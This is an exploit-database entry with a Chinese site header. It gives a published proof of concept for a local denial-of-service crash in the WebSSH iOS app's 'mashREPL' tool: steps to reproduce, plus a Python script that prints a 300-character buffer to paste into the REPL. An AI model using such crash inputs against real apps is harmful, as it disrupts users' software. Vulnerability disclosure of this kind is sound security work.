发布 2021-05-19 漏洞条目

WebSSH for iOS 14.16.10 – ‘mashREPL’ Denial of Service (PoC)

Exploit Source

# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)

# Author: Luis Martinez

# Discovery Date: 2021-05-18

# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887

# Software Link: App Store for iOS devices

# Tested Version: 14.16.10

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: iPhone 7 iOS 14.5.1

# Steps to Produce the Crash:

# 1.- Run python code: WebSSH_for_iOS_14.16.10.py

# 2.- Copy content to clipboard

# 3.- Open "WebSSH for iOS"

# 4.- Click -> Tools

# 5.- Click -> mashREPL

# 6.- Paste ClipBoard on "mashREPL>"

# 7.- Intro

# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300

print (buffer)

相关漏洞条目